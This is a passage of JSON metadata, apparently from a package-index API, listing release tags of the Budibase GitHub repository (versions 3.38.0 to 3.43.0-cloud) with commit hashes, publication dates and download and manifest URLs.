Budibase/budibase/tar.gz/v3.43.0-cloud","html_url":"https://github.com/Budibase/budibase/releases/tag/v3.43.0-cloud","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@v3.43.0-cloud","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/v3.43.0-cloud","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/v3.43.0-cloud/manifests"},{"name":"v3.42.0","sha":"67de171e5934d561ea1780ef1dd0f4d0637f5bae","kind":"tag","published_at":"2026-08-17T09:38:49.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/v3.42.0","html_url":"https://github.com/Budibase/budibase/releases/tag/v3.42.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@v3.42.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/v3.42.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/v3.42.0/manifests"},{"name":"v3.42.0-cloud","sha":"67de171e5934d561ea1780ef1dd0f4d0637f5bae","kind":"tag","published_at":"2026-08-10T09:56:27.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/v3.42.0-cloud","html_url":"https://github.com/Budibase/budibase/releases/tag/v3.42.0-cloud","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@v3.42.0-cloud","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/v3.42.0-cloud","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/v3.42.0-cloud/manifests"},{"name":"3.41.3","sha":"0f1a20e532119cb4b354840e219072e2ed277f32","kind":"commit","published_at":"2026-08-04T16:02:04.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.41.3","html_url":"https://github.com/Budibase/budibase/releases/tag/3.41.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.41.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.41.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.41.3/manifests"},{"name":"3.41.2","sha":"af5b98be0da4c0a82389bde6f98ea9f5493d8fb5","kind":"commit","published_at":"2026-08-04T09:33:04.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.41.2","html_url":"https://github.com/Budibase/budibase/releases/tag/3.41.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.41.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.41.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.41.2/manifests"},{"name":"3.41.1","sha":"71703acfde3e9a0f75589a6544c90fb4372abc08","kind":"commit","published_at":"2026-07-30T08:23:55.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.41.1","html_url":"https://github.com/Budibase/budibase/releases/tag/3.41.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.41.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.41.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.41.1/manifests"},{"name":"3.41.0","sha":"9bd2d9504df705651e0ede5750618f312b302979","kind":"commit","published_at":"2026-07-28T10:18:07.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.41.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.41.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.41.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.41.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.41.0/manifests"},{"name":"3.40.1","sha":"0450f48467d426a4cde0a9fb6f85fc6aed6850df","kind":"commit","published_at":"2026-07-22T16:11:04.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.40.1","html_url":"https://github.com/Budibase/budibase/releases/tag/3.40.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.40.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.40.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.40.1/manifests"},{"name":"3.40.0","sha":"661fe55d609404d073eea86702e0bde7942c3f10","kind":"commit","published_at":"2026-07-21T12:40:41.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.40.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.40.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.40.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.40.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.40.0/manifests"},{"name":"3.39.32","sha":"713124cd57e8669a9da67ad78dee1dab12fe0851","kind":"commit","published_at":"2026-07-21T07:32:33.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.39.32","html_url":"https://github.com/Budibase/budibase/releases/tag/3.39.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.39.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.32/manifests"},{"name":"3.39.31","sha":"e03c72af90780791e585317fc4cbe97de8d13036","kind":"commit","published_at":"2026-07-15T13:29:45.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.39.31","html_url":"https://github.com/Budibase/budibase/releases/tag/3.39.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.39.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.31/manifests"},{"name":"3.39.30","sha":"009cc6006a03bae9d2fdf5ca4ee71148f7d71222","kind":"commit","published_at":"2026-07-15T12:19:35.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.39.30","html_url":"https://github.com/Budibase/budibase/releases/tag/3.39.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.39.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.30/manifests"},{"name":"3.39.29","sha":"ea72a64bdac36a2ca327e502532c800d256769cb","kind":"commit","published_at":"2026-07-09T09:32:34.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.39.29","html_url":"https://github.com/Budibase/budibase/releases/tag/3.39.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.39.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.29/manifests"},{"name":"3.39.28","sha":"45ae439ebde22e84526b4911d39e99bd2d534761","kind":"commit","published_at":"2026-07-08T13:41:54.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.39.28","html_url":"https://github.com/Budibase/budibase/releases/tag/3.39.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.39.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.28/manifests"},{"name":"3.39.27","sha":"3d2173d6654f950a8a69624fd7a7cb47aa783d74","kind":"commit","published_at":"2026-07-06T07:45:38.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.39.27","html_url":"https://github.com/Budibase/budibase/releases/tag/3.39.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.39.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.27/manifests"},{"name":"3.39.26","sha":"f6e5b2fb9294bf754e0f7b999868643e116d850b","kind":"commit","published_at":"2026-07-02T09:53:29.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.39.26","html_url":"https://github.com/Budibase/budibase/releases/tag/3.39.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.39.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.26/manifests"},{"name":"3.39.25","sha":"a5c08bf7d989e531cc54f640a504fe9306cdfe1b","kind":"commit","published_at":"2026-07-01T13:57:52.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.39.25","html_url":"https://github.com/Budibase/budibase/releases/tag/3.39.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.39.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.25/manifests"},{"name":"3.39.24","sha":"3c86b6ab5d3f36c2bb668d6b44a17cfc32082785","kind":"commit","published_at":"2026-07-01T08:44:30.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.39.24","html_url":"https://github.com/Budibase/budibase/releases/tag/3.39.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.39.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.24/manifests"},{"name":"3.39.23","sha":"5a859aef87fa49c30195ab82af2750ea6bf94103","kind":"commit","published_at":"2026-06-30T06:56:55.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.39.23","html_url":"https://github.com/Budibase/budibase/releases/tag/3.39.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.39.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.23/manifests"},{"name":"3.39.22","sha":"01bbc6b4d6472c9d80cfe7db4ce71fcfeeac27ab","kind":"commit","published_at":"2026-06-24T13:37:11.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.39.22","html_url":"https://github.com/Budibase/budibase/releases/tag/3.39.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.39.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.22/manifests"},{"name":"3.39.21","sha":"b9ad4f6a0994baf9e3a57900a96d8a0560ed720c","kind":"commit","published_at":"2026-06-23T09:08:18.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.39.21","html_url":"https://github.com/Budibase/budibase/releases/tag/3.39.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.39.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.21/manifests"},{"name":"3.39.20","sha":"43e11872d41f3e8a70cc0b3f357d39fdb9c67b92","kind":"commit","published_at":"2026-06-22T11:51:57.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.39.20","html_url":"https://github.com/Budibase/budibase/releases/tag/3.39.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.39.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.20/manifests"},{"name":"3.39.19","sha":"2cbae01b8850b218eda58d6edf607b27bdbe37fa","kind":"commit","published_at":"2026-06-17T12:56:07.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.39.19","html_url":"https://github.com/Budibase/budibase/releases/tag/3.39.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.39.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.19/manifests"},{"name":"3.39.18","sha":"9e0139b7636f9e77ffa7b568373392f55dde9174","kind":"commit","published_at":"2026-06-16T13:54:55.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.39.18","html_url":"https://github.com/Budibase/budibase/releases/tag/3.39.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.39.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.18/manifests"},{"name":"3.39.17","sha":"8f247c2ced9d451341f9bf72ef2addd834592d5b","kind":"commit","published_at":"2026-06-16T08:05:02.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.39.17","html_url":"https://github.com/Budibase/budibase/releases/tag/3.39.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.39.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.17/manifests"},{"name":"3.39.16","sha":"0eb87d113844eb6f2df9000efe6b87588df8e5f2","kind":"commit","published_at":"2026-06-15T13:09:19.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.39.16","html_url":"https://github.com/Budibase/budibase/releases/tag/3.39.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.39.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.16/manifests"},{"name":"3.39.15","sha":"0a2951f61032a1dc783ee631b4f95140eccb709e","kind":"commit","published_at":"2026-06-15T07:49:35.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.39.15","html_url":"https://github.com/Budibase/budibase/releases/tag/3.39.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.39.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.15/manifests"},{"name":"3.39.14","sha":"1a8f5ad392de54d845a9e7533384d128bd4eb992","kind":"commit","published_at":"2026-06-11T13:34:10.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.39.14","html_url":"https://github.com/Budibase/budibase/releases/tag/3.39.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.39.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.14/manifests"},{"name":"3.39.13","sha":"e0ae8ff36c0276ce1ec9161be0c088268ae79883","kind":"commit","published_at":"2026-06-11T10:50:56.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.39.13","html_url":"https://github.com/Budibase/budibase/releases/tag/3.39.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.39.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.13/manifests"},{"name":"3.39.12","sha":"0736bd1c0d384d529339dd6d677a91bbe5666ede","kind":"commit","published_at":"2026-06-10T11:11:26.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.39.12","html_url":"https://github.com/Budibase/budibase/releases/tag/3.39.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.39.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.12/manifests"},{"name":"3.39.11","sha":"fda18b3cc1622b629de04d35e53974c311358e2c","kind":"commit","published_at":"2026-06-08T07:28:24.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.39.11","html_url":"https://github.com/Budibase/budibase/releases/tag/3.39.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.39.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.11/manifests"},{"name":"3.39.10","sha":"099544358f53f3293b39dc9de364a45d6103a1fc","kind":"commit","published_at":"2026-06-04T14:17:02.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.39.10","html_url":"https://github.com/Budibase/budibase/releases/tag/3.39.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.39.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.10/manifests"},{"name":"3.39.9","sha":"a4423fc5bf237e6101c2e8348ef5372fff6484cd","kind":"commit","published_at":"2026-06-02T17:04:38.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.39.9","html_url":"https://github.com/Budibase/budibase/releases/tag/3.39.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.39.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.9/manifests"},{"name":"3.39.8","sha":"e14ff6788720b986fe52f9f532385717d65759b0","kind":"commit","published_at":"2026-06-02T13:47:37.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.39.8","html_url":"https://github.com/Budibase/budibase/releases/tag/3.39.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.39.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.8/manifests"},{"name":"3.39.7","sha":"72e2242de02d3c03543a9be5285337b6334ee8ca","kind":"commit","published_at":"2026-06-01T13:34:08.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.39.7","html_url":"https://github.com/Budibase/budibase/releases/tag/3.39.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.39.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.7/manifests"},{"name":"3.39.6","sha":"c6bfe17485fd59e1b30cec6ba2d2a483515d0ae5","kind":"commit","published_at":"2026-06-01T11:52:13.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.39.6","html_url":"https://github.com/Budibase/budibase/releases/tag/3.39.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.39.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.6/manifests"},{"name":"3.39.5","sha":"f33dfd3c47ebc2962a07205edb03388d005215ac","kind":"commit","published_at":"2026-05-29T15:43:48.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.39.5","html_url":"https://github.com/Budibase/budibase/releases/tag/3.39.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.39.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.5/manifests"},{"name":"3.39.4","sha":"54b592e50af8cde47a815e6fe458e24be66a1c3a","kind":"commit","published_at":"2026-05-28T13:02:06.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.39.4","html_url":"https://github.com/Budibase/budibase/releases/tag/3.39.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.39.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.4/manifests"},{"name":"3.39.3","sha":"7ebb02e6ab8d37f4171e0721090dada62771f57f","kind":"commit","published_at":"2026-05-28T07:54:42.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.39.3","html_url":"https://github.com/Budibase/budibase/releases/tag/3.39.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.39.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.3/manifests"},{"name":"3.39.2","sha":"27f5352868cbe273437410ad22cb627c79b71dd0","kind":"commit","published_at":"2026-05-27T08:57:24.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.39.2","html_url":"https://github.com/Budibase/budibase/releases/tag/3.39.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.39.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.2/manifests"},{"name":"3.39.1","sha":"8f78e0bc6d52bd026b2e7bb40a0d0c5b9b9d463a","kind":"commit","published_at":"2026-05-26T12:48:23.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.39.1","html_url":"https://github.com/Budibase/budibase/releases/tag/3.39.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.39.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.1/manifests"},{"name":"3.39.0","sha":"feab9955aeb57d4bdfeabc3b8066f0b527821111","kind":"commit","published_at":"2026-05-20T08:23:17.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.39.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.39.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.39.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.39.0/manifests"},{"name":"3.38.5","sha":"831fcfa7b7fafdab993d86a86f424ff6265ef214","kind":"commit","published_at":"2026-05-18T14:50:42.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.38.5","html_url":"https://github.com/Budibase/budibase/releases/tag/3.38.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.38.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.38.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.38.5/manifests"},{"name":"3.38.4","sha":"bd3879b77340293a29e3391c4b8ae44e47b35316","kind":"commit","published_at":"2026-05-14T10:45:07.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.38.4","html_url":"https://github.com/Budibase/budibase/releases/tag/3.38.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.38.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.38.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.38.4/manifests"},{"name":"3.38.3","sha":"7923a0bae69dc1d7743a5f5550787c22bc764cd0","kind":"commit","published_at":"2026-05-14T07:25:15.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.38.3","html_url":"https://github.com/Budibase/budibase/releases/tag/3.38.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.38.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.38.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.38.3/manifests"},{"name":"3.38.2","sha":"7dd53d407d9852af1dcf00e44414133b192e020f","kind":"commit","published_at":"2026-05-13T06:32:46.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.38.2","html_url":"https://github.com/Budibase/budibase/releases/tag/3.38.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.38.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.38.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.38.2/manifests"},{"name":"3.38.1","sha":"56e19b8afb765927f5b733377ab1eb8dc0d36ed0","kind":"commit","published_at":"2026-05-12T06:24:36.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.38.1","html_url":"https://github.com/Budibase/budibase/releases/tag/3.38.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.38.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.38.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.38.1/manifests"},{"name":"3.38.0","sha":"543d06970c1a3cff2758ea8395b1c41e77452b8d","kind":"commit","published_at":"2026-05-07T13:15:19.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.38.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.38.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.38.0","tag_url":"https://repos.ecosyste.ms/api/